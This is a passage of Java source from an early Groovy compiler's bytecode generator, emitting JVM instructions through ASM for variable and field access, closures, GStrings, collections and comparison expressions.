//int tempIndex = tmpVar.getIndex();
//helper.store(field.getType(), tempIndex);
helper.store(tmpVar, MARK_START);
helper.loadThis(); //cv.visitVarInsn(ALOAD, 0);
helper.load(tmpVar);
helper.putField(field, ownerName);
//cv.visitFieldInsn(PUTFIELD, ownerName, expression.getFieldName(), BytecodeHelper.getTypeDescription(type));
// let's remove the temp var
removeVar(tmpVar);
}
}
public void storeStaticField(FieldExpression expression) {
FieldNode field = expression.getField();
boolean holder = field.isHolder() && !isInClosureConstructor();
String type = field.getType();
String ownerName = (field.getOwner().equals(classNode.getName()))
? internalClassName
: org.objectweb.asm.Type.getInternalName(loadClass(field.getOwner()));
if (holder) {
Variable tv = visitASTOREInTemp(field.getName());
int tempIndex = tv.getIndex();
cv.visitFieldInsn(GETSTATIC, ownerName, expression.getFieldName(), BytecodeHelper.getTypeDescription(type));
cv.visitVarInsn(ALOAD, tempIndex);
cv.visitMethodInsn(INVOKEVIRTUAL, "groovy/lang/Reference", "set", "(Ljava/lang/Object;)V");
removeVar(tv);
}
else {
if (isInClosureConstructor()) {
helper.doCast(type);
}
else {
if (ENABLE_EARLY_BINDING) {
helper.doCast(type);
}
else {
// this may be superfluous
//doConvertAndCast(type);
// use weaker cast
helper.doCast(type);
}
}
cv.visitFieldInsn(PUTSTATIC, ownerName, expression.getFieldName(), BytecodeHelper.getTypeDescription(type));
}
}
protected void visitOuterFieldExpression(FieldExpression expression, ClassNode outerClassNode, int steps, boolean first ) {
FieldNode field = expression.getField();
boolean isStatic = field.isStatic();
Variable fieldTemp = defineVariable(createVariableName(field.getName()), "java.lang.Object", false);
int valueIdx = fieldTemp.getIndex();
if (leftHandExpression && first) {
cv.visitVarInsn(ASTORE, valueIdx);
visitVariableStartLabel(fieldTemp);
}
if (steps > 1 || !isStatic) {
cv.visitVarInsn(ALOAD, 0);
cv.visitFieldInsn(
GETFIELD,
internalClassName,
"owner",
BytecodeHelper.getTypeDescription(outerClassNode.getName()));
}
if( steps == 1 ) {
int opcode = (leftHandExpression) ? ((isStatic) ? PUTSTATIC : PUTFIELD) : ((isStatic) ? GETSTATIC : GETFIELD);
String ownerName = BytecodeHelper.getClassInternalName(outerClassNode.getName());
if (leftHandExpression) {
cv.visitVarInsn(ALOAD, valueIdx);
boolean holder = field.isHolder() && !isInClosureConstructor();
if ( !holder) {
doConvertAndCast(field.getType());
}
}
cv.visitFieldInsn(opcode, ownerName, expression.getFieldName(), BytecodeHelper.getTypeDescription(field.getType()));
if (!leftHandExpression) {
if (BytecodeHelper.isPrimitiveType(field.getType())) {
helper.box(field.getType());
}
}
}
else {
visitOuterFieldExpression( expression, outerClassNode.getOuterClass(), steps - 1, false );
}
}
/**
* Visits a bare (unqualified) variable expression.
*/
public void visitVariableExpression(VariableExpression expression) {
String variableName = expression.getVariable();
// SPECIAL CASES
// "this" for static methods is the Class instance
if (isStaticMethod() && variableName.equals("this")) {
visitClassExpression(new ClassExpression(classNode.getName()));
return; // <<< FLOW CONTROL <<<<<<<<<
}
// "super" also requires special handling
if (variableName.equals("super")) {
visitClassExpression(new ClassExpression(classNode.getSuperClass()));
return; // <<< FLOW CONTROL <<<<<<<<<
}
// class names return a Class instance, too
// if (!variableName.equals("this")) {
// String className = resolveClassName(variableName);
// if (className != null) {
// if (leftHandExpression) {
// throw new RuntimeParserException(
// "Cannot use a class expression on the left hand side of an assignment",
// expression);
// visitClassExpression(new ClassExpression(className));
// return; // <<< FLOW CONTROL <<<<<<<<<
// GENERAL VARIABLE LOOKUP
// We are handling only unqualified variables here. Therefore,
// we do not care about accessors, because local access doesn't
// go through them. Therefore, precedence is as follows:
// 1) local variables, nearest block first
// 2) class fields
// 3) repeat search from 2) in next outer class
boolean handled = false;
Variable variable = (Variable)variableStack.get( variableName );
if( variable != null ) {
if( variable.isProperty() ) {
processPropertyVariable(variable );
}
else {
if (ENABLE_EARLY_BINDING && expression.isTypeResolved() && leftHandExpression) {
// let's pass the type back to the variable
String typeName = expression.getType();
Type varOldType = variable.getType();
if (varOldType.isDynamic()) {
variable.setType(new Type(typeName, true));
}
else if (!varOldType.getName().equals(typeName)){
new GroovyRuntimeException("VariableExpression data type conflicts with the existing variable. "
+ "[" + expression.getLineNumber() + ":" + expression.getColumnNumber() + "]");
}
}
processStackVariable(variable );
}
handled = true;
} else {
// Loop through outer classes for fields
int steps = 0;
ClassNode currentClassNode = classNode;
FieldNode field = null;
do {
if( (field = currentClassNode.getField(variableName)) != null ) {
if (methodNode == null || !methodNode.isStatic() || field.isStatic() )
break; //this is a match. break out. todo to be tested
}
steps++;
} while( (currentClassNode = currentClassNode.getOuterClass()) != null );
if( field != null ) {
processFieldAccess( variableName, field, steps );
handled = true;
}
}
// class names return a Class instance, too
if (!handled && !variableName.equals("this")) {
String className = resolveClassName(variableName);
if (className != null) {
if (leftHandExpression) {
throwException("Cannot use a class expression on the left hand side of an assignment");
}
visitClassExpression(new ClassExpression(className));
return; // <<< FLOW CONTROL <<<<<<<<<
}
}
// Finally, if unhandled, create a variable for it.
// Except there a stack variable should be created,
// we define the variable as a property accessor and
// let other parts of the classgen report the error
// if the property doesn't exist.
if( !handled ) {
String variableType = expression.getType();
variable = defineVariable( variableName, variableType );
if (leftHandExpression && expression.isDynamic()) {
variable.setDynamic(true); // false by default
}
else {
variable.setDynamic(false);
}
if( isInScriptBody() || !leftHandExpression ) { // todo problematic: if on right hand not defined, should I report undefined var error?
variable.setProperty( true );
processPropertyVariable(variable );
}
else {
processStackVariable(variable );
}
}
}
protected void processStackVariable(Variable variable ) {
boolean holder = variable.isHolder() && !passingClosureParams;
if( leftHandExpression ) {
helper.storeVar(variable, holder);
}
else {
helper.loadVar(variable, holder);
}
if (ASM_DEBUG) {
helper.mark("var: " + variable.getName());
}
}
private void visitVariableStartLabel(Variable variable) {
if (CREATE_DEBUG_INFO) {
Label l = variable.getStartLabel();
if (l != null) {
cv.visitLabel(l);
} else {
System.out.println("start label == null! what to do about this?");
}
}
}
protected void processPropertyVariable(Variable variable ) {
String name = variable.getName();
if (variable.isHolder() && passingClosureParams && isInScriptBody() ) {
// lets create a ScriptReference to pass into the closure
cv.visitTypeInsn(NEW, "org/codehaus/groovy/runtime/ScriptReference");
cv.visitInsn(DUP);
loadThisOrOwner();
cv.visitLdcInsn(name);
cv.visitMethodInsn(
INVOKESPECIAL,
"org/codehaus/groovy/runtime/ScriptReference",
"<init>",
"(Lgroovy/lang/Script;Ljava/lang/String;)V");
}
else {
visitPropertyExpression(new PropertyExpression(VariableExpression.THIS_EXPRESSION, name));
}
}
protected void processFieldAccess( String name, FieldNode field, int steps ) {
FieldExpression expression = new FieldExpression(field);
if( steps == 0 ) {
visitFieldExpression( expression );
}
else {
visitOuterFieldExpression( expression, classNode.getOuterClass(), steps, true );
}
}
/**
* @return true if we are in a script body, where all variables declared are no longer
* local variables but are properties
*/
protected boolean isInScriptBody() {
if (classNode.isScriptBody()) {
return true;
}
else {
return classNode.isScript() && methodNode != null && methodNode.getName().equals("run");
}
}
/**
* @return true if this expression will have left a value on the stack
* that must be popped
*/
protected boolean isPopRequired(Expression expression) {
if (expression instanceof MethodCallExpression) {
if (expression.getType() != null && expression.getType().equals("void")) { // nothing on the stack
return false;
} else {
return !MethodCallExpression.isSuperMethodCall((MethodCallExpression) expression);
}
}
if (expression instanceof BinaryExpression) {
BinaryExpression binExp = (BinaryExpression) expression;
switch (binExp.getOperation().getType()) { // br todo should leave a copy of the value on the stack for all the assignemnt.
// case Types.EQUAL : // br a copy of the right value is left on the stack (see evaluateEqual()) so a pop is required for a standalone assignment
// case Types.PLUS_EQUAL : // this and the following are related to evaluateBinaryExpressionWithAsignment()
// case Types.MINUS_EQUAL :
// case Types.MULTIPLY_EQUAL :
// case Types.DIVIDE_EQUAL :
// case Types.INTDIV_EQUAL :
// case Types.MOD_EQUAL :
// return false;
}
}
return true;
}
protected boolean firstStatementIsSuperInit(Statement code) {
ExpressionStatement expStmt = null;
if (code instanceof ExpressionStatement) {
expStmt = (ExpressionStatement) code;
}
else if (code instanceof BlockStatement) {
BlockStatement block = (BlockStatement) code;
if (!block.getStatements().isEmpty()) {
Object expr = block.getStatements().get(0);
if (expr instanceof ExpressionStatement) {
expStmt = (ExpressionStatement) expr;
}
}
}
if (expStmt != null) {
Expression expr = expStmt.getExpression();
if (expr instanceof MethodCallExpression) {
MethodCallExpression call = (MethodCallExpression) expr;
if (MethodCallExpression.isSuperMethodCall(call)) {
// not sure which one is constantly used as the super class ctor call. To cover both for now
return call.getMethod().equals("<init>") || call.getMethod().equals("super");
}
}
}
return false;
}
protected void createSyntheticStaticFields() {
for (Iterator iter = syntheticStaticFields.iterator(); iter.hasNext();) {
String staticFieldName = (String) iter.next();
// generate a field node
cw.visitField(ACC_STATIC + ACC_SYNTHETIC, staticFieldName, "Ljava/lang/Class;", null, null);
}
if (!syntheticStaticFields.isEmpty()) {
cv =
cw.visitMethod(
ACC_STATIC + ACC_SYNTHETIC,
"class$",
"(Ljava/lang/String;)Ljava/lang/Class;",
null,
null);
helper = new BytecodeHelper(cv);
Label l0 = new Label();
cv.visitLabel(l0);
cv.visitVarInsn(ALOAD, 0);
cv.visitMethodInsn(INVOKESTATIC, "java/lang/Class", "forName", "(Ljava/lang/String;)Ljava/lang/Class;");
Label l1 = new Label();
cv.visitLabel(l1);
cv.visitInsn(ARETURN);
Label l2 = new Label();
cv.visitLabel(l2);
cv.visitVarInsn(ASTORE, 1);
cv.visitTypeInsn(NEW, "java/lang/NoClassDefFoundError");
cv.visitInsn(DUP);
cv.visitVarInsn(ALOAD, 1);
cv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/ClassNotFoundException", "getMessage", "()Ljava/lang/String;");
cv.visitMethodInsn(INVOKESPECIAL, "java/lang/NoClassDefFoundError", "<init>", "(Ljava/lang/String;)V");
cv.visitInsn(ATHROW);
cv.visitTryCatchBlock(l0, l2, l2, "java/lang/ClassNotFoundException"); // br using l2 as the 2nd param seems create the right table entry
cv.visitMaxs(3, 2);
cw.visitEnd();
}
}
/** load class object on stack */
public void visitClassExpression(ClassExpression expression) {
String type = expression.getText();
//type = checkValidType(type, expression, "Must be a valid type name for a constructor call");
if (BytecodeHelper.isPrimitiveType(type)) {
String objectType = BytecodeHelper.getObjectTypeForPrimitive(type);
cv.visitFieldInsn(GETSTATIC, BytecodeHelper.getClassInternalName(objectType), "TYPE", "Ljava/lang/Class;");
}
else {
final String staticFieldName =
(type.equals(classNode.getName())) ? "class$0" : "class$" + type.replace('.', '$').replace('[', '_').replace(';', '_');
syntheticStaticFields.add(staticFieldName);
cv.visitFieldInsn(GETSTATIC, internalClassName, staticFieldName, "Ljava/lang/Class;");
Label l0 = new Label();
cv.visitJumpInsn(IFNONNULL, l0);
cv.visitLdcInsn(type);
cv.visitMethodInsn(INVOKESTATIC, internalClassName, "class$", "(Ljava/lang/String;)Ljava/lang/Class;");
cv.visitInsn(DUP);
cv.visitFieldInsn(PUTSTATIC, internalClassName, staticFieldName, "Ljava/lang/Class;");
Label l1 = new Label();
cv.visitJumpInsn(GOTO, l1);
cv.visitLabel(l0);
cv.visitFieldInsn(GETSTATIC, internalClassName, staticFieldName, "Ljava/lang/Class;");
cv.visitLabel(l1);
}
}
public void visitRangeExpression(RangeExpression expression) {
leftHandExpression = false;
expression.getFrom().visit(this);
leftHandExpression = false;
expression.getTo().visit(this);
helper.pushConstant(expression.isInclusive());
createRangeMethod.call(cv);
}
public void visitMapEntryExpression(MapEntryExpression expression) {
}
public void visitMapExpression(MapExpression expression) {
List entries = expression.getMapEntryExpressions();
int size = entries.size();
helper.pushConstant(size * 2);
cv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
int i = 0;
for (Iterator iter = entries.iterator(); iter.hasNext();) {
MapEntryExpression entry = (MapEntryExpression) iter.next();
cv.visitInsn(DUP);
helper.pushConstant(i++);
visitAndAutoboxBoolean(entry.getKeyExpression());
cv.visitInsn(AASTORE);
cv.visitInsn(DUP);
helper.pushConstant(i++);
visitAndAutoboxBoolean(entry.getValueExpression());
cv.visitInsn(AASTORE);
}
createMapMethod.call(cv);
}
public void visitTupleExpression(TupleExpression expression) {
int size = expression.getExpressions().size();
helper.pushConstant(size);
cv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
for (int i = 0; i < size; i++) {
cv.visitInsn(DUP);
helper.pushConstant(i);
visitAndAutoboxBoolean(expression.getExpression(i));
cv.visitInsn(AASTORE);
}
//createTupleMethod.call(cv);
}
public void visitArrayExpression(ArrayExpression expression) {
String type = expression.getElementType();
String typeName = BytecodeHelper.getClassInternalName(type);
Expression sizeExpression = expression.getSizeExpression();
if (sizeExpression != null) {
// lets convert to an int
visitAndAutoboxBoolean(sizeExpression);
asIntMethod.call(cv);
cv.visitTypeInsn(ANEWARRAY, typeName);
}
else {
int size = expression.getExpressions().size();
helper.pushConstant(size);
cv.visitTypeInsn(ANEWARRAY, typeName);
for (int i = 0; i < size; i++) {
cv.visitInsn(DUP);
helper.pushConstant(i);
Expression elementExpression = expression.getExpression(i);
if (elementExpression == null) {
ConstantExpression.NULL.visit(this);
}
else {
if(!type.equals(elementExpression.getClass().getName())) {
visitCastExpression(new CastExpression(type, elementExpression));
}
else {
visitAndAutoboxBoolean(elementExpression);
}
}
cv.visitInsn(AASTORE);
}
}
}
public void visitListExpression(ListExpression expression) {
int size = expression.getExpressions().size();
helper.pushConstant(size);
cv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
for (int i = 0; i < size; i++) {
cv.visitInsn(DUP);
helper.pushConstant(i);
visitAndAutoboxBoolean(expression.getExpression(i));
cv.visitInsn(AASTORE);
}
createListMethod.call(cv);
}
public void visitGStringExpression(GStringExpression expression) {
int size = expression.getValues().size();
helper.pushConstant(size);
cv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
for (int i = 0; i < size; i++) {
cv.visitInsn(DUP);
helper.pushConstant(i);
visitAndAutoboxBoolean(expression.getValue(i));
cv.visitInsn(AASTORE);
}
Variable tv = visitASTOREInTemp("iterator");
int paramIdx = tv.getIndex();
ClassNode innerClass = createGStringClass(expression);
addInnerClass(innerClass);
String innerClassinternalName = BytecodeHelper.getClassInternalName(innerClass.getName());
cv.visitTypeInsn(NEW, innerClassinternalName);
cv.visitInsn(DUP);
cv.visitVarInsn(ALOAD, paramIdx);
cv.visitMethodInsn(INVOKESPECIAL, innerClassinternalName, "<init>", "([Ljava/lang/Object;)V");
removeVar(tv);
}
private Variable visitASTOREInTemp(String s) {
return storeInTemp(s, "java.lang.Object");
}
// Implementation methods
protected boolean addInnerClass(ClassNode innerClass) {
innerClass.setModule(classNode.getModule());
return innerClasses.add(innerClass);
}
protected ClassNode createClosureClass(ClosureExpression expression) {
ClassNode owner = getOutermostClass();
boolean parentIsInnerClass = owner instanceof InnerClassNode;
String outerClassName = owner.getName();
String name = outerClassName + "$"
+ context.getNextClosureInnerName(owner, classNode, methodNode); // br added a more infomative name
boolean staticMethodOrInStaticClass = isStaticMethod() || classNode.isStaticClass();
if (staticMethodOrInStaticClass) {
outerClassName = "java.lang.Class";
}
Parameter[] parameters = expression.getParameters();
if (parameters == null || parameters.length == 0) {
// lets create a default 'it' parameter
parameters = new Parameter[] { new Parameter("it")};
}
Parameter[] localVariableParams = getClosureSharedVariables(expression);
InnerClassNode answer = new InnerClassNode(owner, name, ACC_SUPER, "groovy.lang.Closure"); // clsures are local inners and not public
answer.setEnclosingMethod(this.methodNode);
if (staticMethodOrInStaticClass) {
answer.setStaticClass(true);
}
if (isInScriptBody()) {
answer.setScriptBody(true);
}
MethodNode method =
answer.addMethod("doCall", ACC_PUBLIC, "java.lang.Object", parameters, expression.getCode());
method.setLineNumber(expression.getLineNumber());
method.setColumnNumber(expression.getColumnNumber());
VariableScope varScope = expression.getVariableScope();
if (varScope == null) {
throw new RuntimeException(
"Must have a VariableScope by now! for expression: " + expression + " class: " + name);
}
else {
method.setVariableScope(varScope);
}
if (parameters.length > 1
|| (parameters.length == 1
&& parameters[0].getType() != null
&& !parameters[0].getType().equals("java.lang.Object"))) {
// lets add a typesafe call method
answer.addMethod(
"call",
ACC_PUBLIC,
"java.lang.Object",
parameters,
new ReturnStatement(
new MethodCallExpression(
VariableExpression.THIS_EXPRESSION,
"doCall",
new ArgumentListExpression(parameters))));
}
FieldNode ownerField = answer.addField("owner", ACC_PRIVATE, outerClassName, null);
// lets make the constructor
BlockStatement block = new BlockStatement();
block.addStatement(
new ExpressionStatement(
new MethodCallExpression(
new VariableExpression("super"),
"<init>",
new VariableExpression("_outerInstance"))));
block.addStatement(
new ExpressionStatement(
new BinaryExpression(
new FieldExpression(ownerField),
Token.newSymbol(Types.EQUAL, -1, -1),
new VariableExpression("_outerInstance"))));
// lets assign all the parameter fields from the outer context
for (int i = 0; i < localVariableParams.length; i++) {
Parameter param = localVariableParams[i];
String paramName = param.getName();
boolean holder = mutableVars.contains(paramName);
Expression initialValue = null;
String type = param.getType();
FieldNode paramField = null;
if (holder) {
initialValue = new VariableExpression(paramName);
type = Reference.class.getName();
param.makeReference();
paramField = answer.addField(paramName, ACC_PRIVATE, type, initialValue);
paramField.setHolder(true);
String realType = param.getRealType();
String methodName = Verifier.capitalize(paramName);
// lets add a getter & setter
Expression fieldExp = new FieldExpression(paramField);
answer.addMethod(
"get" + methodName,
ACC_PUBLIC,
realType,
Parameter.EMPTY_ARRAY,
new ReturnStatement(fieldExp));
/*
answer.addMethod(
"set" + methodName,
ACC_PUBLIC,
"void",
new Parameter[] { new Parameter(realType, "__value") },
new ExpressionStatement(
new BinaryExpression(expression, Token.newSymbol(Types.EQUAL, 0, 0), new VariableExpression("__value"))));
*/
}
else {
PropertyNode propertyNode = answer.addProperty(paramName, ACC_PUBLIC, type, initialValue, null, null);
paramField = propertyNode.getField();
block.addStatement(
new ExpressionStatement(
new BinaryExpression(
new FieldExpression(paramField),
Token.newSymbol(Types.EQUAL, -1, -1),
new VariableExpression(paramName))));
}
}
Parameter[] params = new Parameter[2 + localVariableParams.length];
params[0] = new Parameter(outerClassName, "_outerInstance");
params[1] = new Parameter("java.lang.Object", "_delegate");
System.arraycopy(localVariableParams, 0, params, 2, localVariableParams.length);
answer.addConstructor(ACC_PUBLIC, params, block);
return answer;
}
protected ClassNode getOutermostClass() {
if (outermostClass == null) {
outermostClass = classNode;
while (outermostClass instanceof InnerClassNode) {
outermostClass = outermostClass.getOuterClass();
}
}
return outermostClass;
}
protected ClassNode createGStringClass(GStringExpression expression) {
ClassNode owner = classNode;
if (owner instanceof InnerClassNode) {
owner = owner.getOuterClass();
}
String outerClassName = owner.getName();
String name = outerClassName + "$" + context.getNextInnerClassIdx();
InnerClassNode answer = new InnerClassNode(owner, name, ACC_SUPER, GString.class.getName());
answer.setEnclosingMethod(this.methodNode);
FieldNode stringsField =
answer.addField(
"strings",
ACC_PRIVATE /*| ACC_STATIC*/,
"java.lang.String[]",
new ArrayExpression("java.lang.String", expression.getStrings()));
answer.addMethod(
"getStrings",
ACC_PUBLIC,
"java.lang.String[]",
Parameter.EMPTY_ARRAY,
new ReturnStatement(new FieldExpression(stringsField)));
// lets make the constructor
BlockStatement block = new BlockStatement();
block.addStatement(
new ExpressionStatement(
new MethodCallExpression(new VariableExpression("super"), "<init>", new VariableExpression("values"))));
Parameter[] contructorParams = new Parameter[] { new Parameter("java.lang.Object[]", "values")};
answer.addConstructor(ACC_PUBLIC, contructorParams, block);
return answer;
}
protected void doConvertAndCast(String type) {
if (!type.equals("java.lang.Object")) {
/** todo should probably support array coercions */
if (!type.endsWith("[]") && isValidTypeForCast(type)) {
visitClassExpression(new ClassExpression(type));
asTypeMethod.call(cv);
}
helper.doCast(type);
}
}
protected void evaluateLogicalOrExpression(BinaryExpression expression) {
visitBooleanExpression(new BooleanExpression(expression.getLeftExpression()));
Label l0 = new Label();
Label l2 = new Label();
cv.visitJumpInsn(IFEQ, l0);
cv.visitLabel(l2);
visitConstantExpression(ConstantExpression.TRUE);
Label l1 = new Label();
cv.visitJumpInsn(GOTO, l1);
cv.visitLabel(l0);
visitBooleanExpression(new BooleanExpression(expression.getRightExpression()));
cv.visitJumpInsn(IFNE, l2);
visitConstantExpression(ConstantExpression.FALSE);
cv.visitLabel(l1);
}
// todo: optimization: change to return primitive boolean. need to adjust the BinaryExpression and isComparisonExpression for
// consistancy.
protected void evaluateLogicalAndExpression(BinaryExpression expression) {
visitBooleanExpression(new BooleanExpression(expression.getLeftExpression()));
Label l0 = new Label();
cv.visitJumpInsn(IFEQ, l0);
visitBooleanExpression(new BooleanExpression(expression.getRightExpression()));
cv.visitJumpInsn(IFEQ, l0);
visitConstantExpression(ConstantExpression.TRUE);
Label l1 = new Label();
cv.visitJumpInsn(GOTO, l1);
cv.visitLabel(l0);
visitConstantExpression(ConstantExpression.FALSE);
cv.visitLabel(l1);
}
protected void evaluateBinaryExpression(String method, BinaryExpression expression) {
Expression leftExpression = expression.getLeftExpression();
leftHandExpression = false;
leftExpression.visit(this);
cv.visitLdcInsn(method);
leftHandExpression = false;
new ArgumentListExpression(new Expression[] { expression.getRightExpression()}).visit(this);
// expression.getRightExpression().visit(this);
invokeMethodMethod.call(cv);
}
protected void evaluateCompareTo(BinaryExpression expression) {
Expression leftExpression = expression.getLeftExpression();
leftHandExpression = false;
leftExpression.visit(this);
expression.getRightExpression().visit(this);
compareToMethod.call(cv);
}
protected void evaluateBinaryExpressionWithAsignment(String method, BinaryExpression expression) {
Expression leftExpression = expression.getLeftExpression();
if (leftExpression instanceof BinaryExpression) {
BinaryExpression leftBinExpr = (BinaryExpression) leftExpression;
if (leftBinExpr.getOperation().getType() == Types.LEFT_SQUARE_BRACKET) {
// lets replace this assignment to a subscript operator with a
// method call
// e.g. x[5] += 10
// -> (x, [], 5), =, x[5] + 10
// -> methodCall(x, "putAt", [5, methodCall(x[5], "plus", 10)])
MethodCallExpression methodCall =
new MethodCallExpression(
expression.getLeftExpression(),
method,
new ArgumentListExpression(new Expression[] { expression.getRightExpression()}));
Expression safeIndexExpr = createReusableExpression(leftBinExpr.getRightExpression());
visitMethodCallExpression(
new MethodCallExpression(
leftBinExpr.getLeftExpression(),
"putAt",
new ArgumentListExpression(new Expression[] { safeIndexExpr, methodCall })));
//cv.visitInsn(POP);
return;
}
}
evaluateBinaryExpression(method, expression);
// br to leave a copy of rvalue on the stack. see also isPopRequired()
cv.visitInsn(DUP);
leftHandExpression = true;
evaluateExpression(leftExpression);
leftHandExpression = false;
}
private void evaluateBinaryExpression(MethodCaller compareMethod, BinaryExpression bin) {
if (ENABLE_EARLY_BINDING && true) {
evalBinaryExp_EarlyBinding(compareMethod, bin);
}
else {
evalBinaryExp_LateBinding(compareMethod, bin);
}
}
protected void evalBinaryExp_LateBinding(MethodCaller compareMethod, BinaryExpression expression) {
Expression leftExp = expression.getLeftExpression();
Expression rightExp = expression.getRightExpression();
load(leftExp);
load(rightExp);
compareMethod.call(cv);
}
/**
* note: leave the primitive boolean on staock for comparison expressions. All the result types need to match the
* utility methods in the InvokerHelper.
* @param compareMethod
* @param expression
*/
protected void evalBinaryExp_EarlyBinding(MethodCaller compareMethod, BinaryExpression expression) {
Expression leftExp = expression.getLeftExpression();
Expression rightExp = expression.getRightExpression();
expression.resolve(this);
if (expression.isResolveFailed() || expression.getTypeClass() == null){
evalBinaryExp_LateBinding(compareMethod, expression);
return;
}
else {
Class lclass = leftExp.getTypeClass();
Class rclass = rightExp.getTypeClass();
if (lclass == null || rclass == null) {
if ((lclass == null && rclass != null) || (lclass != null && rclass == null)) {
// lets treat special cases: obj == null / obj != null . leave primitive boolean on the stack, which will be boxed by visitAndAutoBox()
if (leftExp == ConstantExpression.NULL && !rclass.isPrimitive() ||
rightExp == ConstantExpression.NULL && !lclass.isPrimitive()) {
Expression exp = leftExp == ConstantExpression.NULL? rightExp : leftExp;
int type = expression.getOperation().getType();
switch (type) {
case Types.COMPARE_EQUAL :
load(exp);
cv.visitInsn(ICONST_1);
cv.visitInsn(SWAP);
Label l1 = new Label();
cv.visitJumpInsn(IFNULL, l1);
cv.visitInsn(POP);
cv.visitInsn(ICONST_0);
cv.visitLabel(l1);
return;
case Types.COMPARE_NOT_EQUAL :
load(exp);
cv.visitInsn(ICONST_1);
cv.visitInsn(SWAP);
Label l2 = new Label();
cv.visitJumpInsn(IFNONNULL, l2);
cv.visitInsn(POP);
cv.visitInsn(ICONST_0);
cv.visitLabel(l2);
return;
default:
evalBinaryExp_LateBinding(compareMethod, expression);
return;
}
}
else {
evalBinaryExp_LateBinding(compareMethod, expression);
return;
}
}
else {
evalBinaryExp_LateBinding(compareMethod, expression);
return;
}
}
else if (lclass == String.class && rclass == String.class) {
int type = expression.getOperation().getType();
switch (type) {
case Types.COMPARE_EQUAL :
load(leftExp); cast(String.class);
load(rightExp); cast(String.class);
cv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z");
//helper.quickBoxIfNecessary(boolean.class);
return;
case Types.COMPARE_NOT_EQUAL :
load(leftExp);cast(String.class);
load(rightExp); cast(String.class);
cv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z");
cv.visitInsn(ICONST_1);
cv.visitInsn(IXOR);
//helper.quickBoxIfNecessary(boolean.class);
return;
case Types.COMPARE_TO :
load(leftExp);cast(String.class);
load(rightExp); cast(String.class);
cv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "compareTo", "(Ljava/lang/Object;)I");
helper.quickBoxIfNecessary(int.class); // object type
return;
case Types.COMPARE_GREATER_THAN :
case Types.COMPARE_GREATER_THAN_EQUAL :
case Types.COMPARE_LESS_THAN :
case Types.COMPARE_LESS_THAN_EQUAL :
{
int op;
switch (type) {
case Types.COMPARE_GREATER_THAN :
op = IFLE;
break;
case Types.COMPARE_GREATER_THAN_EQUAL :
op = IFLT;
break;
case Types.COMPARE_LESS_THAN :
op = IFGE;
break;
case Types.COMPARE_LESS_THAN_EQUAL :
op = IFGT;
break;
default:
System.err.println("flow control error: should not be here. type: " + type);
return;
}
load(leftExp);cast(String.class);
load(rightExp); cast(String.class);
cv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "compareTo", "(Ljava/lang/Object;)I");
// set true/false on stack
Label l4 = new Label();
cv.visitJumpInsn(op, l4);
// need to use primitive boolean //cv.visitFieldInsn(GETSTATIC, "java/lang/Boolean", "TRUE", "Ljava/lang/Boolean;");
cv.visitInsn(ICONST_1); // true
Label l5 = new Label();
cv.visitJumpInsn(GOTO, l5);
cv.visitLabel(l4);
cv.visitInsn(ICONST_0); //cv.visitFieldInsn(GETSTATIC, "java/lang/Boolean", "FALSE", "Ljava/lang/Boolean;");
cv.visitLabel(l5);
}
return;
default:
evalBinaryExp_LateBinding(compareMethod, expression);
return;
}
}
else if (Integer.class == lclass && Integer.class == rclass) {
int type = expression.getOperation().getType();
switch (type) {
case Types.COMPARE_EQUAL :
load(leftExp); cast(Integer.class);
load(rightExp);
cv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Integer", "equals", "(Ljava/lang/Object;)Z");
//helper.quickBoxIfNecessary(boolean.class);
return;
case Types.COMPARE_NOT_EQUAL :
load(leftExp); cast(Integer.class);
load(rightExp);
cv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Integer", "equals", "(Ljava/lang/Object;)Z");
cv.visitInsn(ICONST_1);
cv.visitInsn(IXOR);
//helper.quickBoxIfNecessary(boolean.class);
return;
case Types.COMPARE_TO :
load(leftExp); cast(Integer.class);
load(rightExp);
cv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Integer", "compareTo", "(Ljava/lang/Object;)I");
helper.quickBoxIfNecessary(int.class);
return;
case Types.COMPARE_GREATER_THAN :
case Types.COMPARE_GREATER_THAN_EQUAL :
case Types.COMPARE_LESS_THAN :
case Types.COMPARE_LESS_THAN_EQUAL :
{
int op;
switch (type) {
case Types.COMPARE_GREATER_THAN :
op = IFLE;
break;
case Types.COMPARE_GREATER_THAN_EQUAL :
op = IFLT;
break;
case Types.COMPARE_LESS_THAN :
op = IFGE;
break;
case Types.COMPARE_LESS_THAN_EQUAL :
op = IFGT;
break;
default:
System.err.println("flow control error: should not be here. type: " + type);
return;
}
load(leftExp); cast(Integer.class);
load(rightExp);
cv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Integer", "compareTo", "(Ljava/lang/Object;)I");
Label l4 = new Label();
cv.visitJumpInsn(op, l4);
cv.visitInsn(ICONST_1); //cv.visitFieldInsn(GETSTATIC, "java/lang/Boolean", "TRUE", "Ljava/lang/Boolean;");
Label l5 = new Label();
cv.visitJumpInsn(GOTO, l5);
cv.visitLabel(l4);
cv.visitInsn(ICONST_0);//cv.visitFieldInsn(GETSTATIC, "java/lang/Boolean", "FALSE", "Ljava/lang/Boolean;");
cv.visitLabel(l5);
}
return;
default:
evalBinaryExp_LateBinding(compareMethod, expression);
return;
}
}
else {
evalBinaryExp_LateBinding(compareMethod, expression);
return;
}
}
}
private void cast(Class aClass) {
if (!aClass.isPrimitive() && aClass != Object.class) {
cv.visitTypeInsn(CHECKCAST, BytecodeHelper.getClassInternalName(aClass.getName()));
}
}
protected void evaluateEqual(BinaryExpression expression) {
if (ENABLE_EARLY_BINDING) {
expression.resolve(this);
if (expression.isTypeResolved()) {
if (expression.getRightExpression().getTypeClass() == Void.TYPE) {
throwException("void value appeared on right hand side of assignment. ");
}
}
}
Expression leftExpression = expression.getLeftExpression();
if (leftExpression instanceof BinaryExpression) {
BinaryExpression leftBinExpr = (BinaryExpression) leftExpression;
if (leftBinExpr.getOperation().getType() == Types.LEFT_SQUARE_BRACKET) {
// lets replace this assignment to a subscript operator with a
// method call
